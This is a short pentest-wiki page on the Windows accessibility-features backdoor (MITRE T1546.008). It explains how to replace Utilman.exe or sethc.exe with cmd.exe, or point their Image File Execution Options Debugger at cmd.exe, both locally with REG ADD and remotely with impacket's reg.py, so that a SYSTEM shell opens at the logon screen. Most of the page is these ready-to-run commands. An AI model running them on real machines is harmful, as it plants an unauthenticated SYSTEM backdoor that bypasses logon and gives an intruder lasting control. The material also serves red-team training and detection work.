Accessibility features Backdoor

MITRE ATT&CK™ Event Triggered Execution - Accessibility Features - Technique T1546.008

Theory

The concept here is pretty simple. Windows supports some built in accessibility features like Sticky Keys, Utilman, Narrator, Magnify that are available at pre-logon (at the login screen, either via a physical console or via Remote Desktop). Replacing them by cmd.exe live us with a SYSTEM access at pre-logon.

Practice

Utilman.exe

We can replace the C:\Windows\System32\Utilman.exe with a cmd.exe and rename it (utilman.exe). You may need to change utilman.exe owner to yourself first as TrustedIntaller may be giving you a hard time.

An other way is just to edit the Image File Execution Options registry

#Windows
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

#Linux (with impacket)
reg.py <USER>:<PASSWORD>@<TARGET> add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -vt REG_SZ -v Debugger -vd "C:\windows\system32\cmd.exe"

Know, press Windows Key+U to spawn an elevated shell

Sethc.exe

We can replace the C:\Windows\System32\sethc.exe with a cmd.exe and rename it (sethc.exe). You may need to change sethc.exe owner to yourself first as TrustedIntaller may be giving you a hard time.

An other way is just to edit the Image File Execution Options registry

#Windows
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

#Linux (with impacket)
reg.py <USER>:<PASSWORD>@<TARGET> add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -vt REG_SZ -v Debugger -vd "C:\windows\system32\cmd.exe"

Know, press Shift Key 5 time to spawn an elevated shell

Resources

https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6doublepulsar.com

Persistence – Accessibility FeaturesPenetration Testing Lab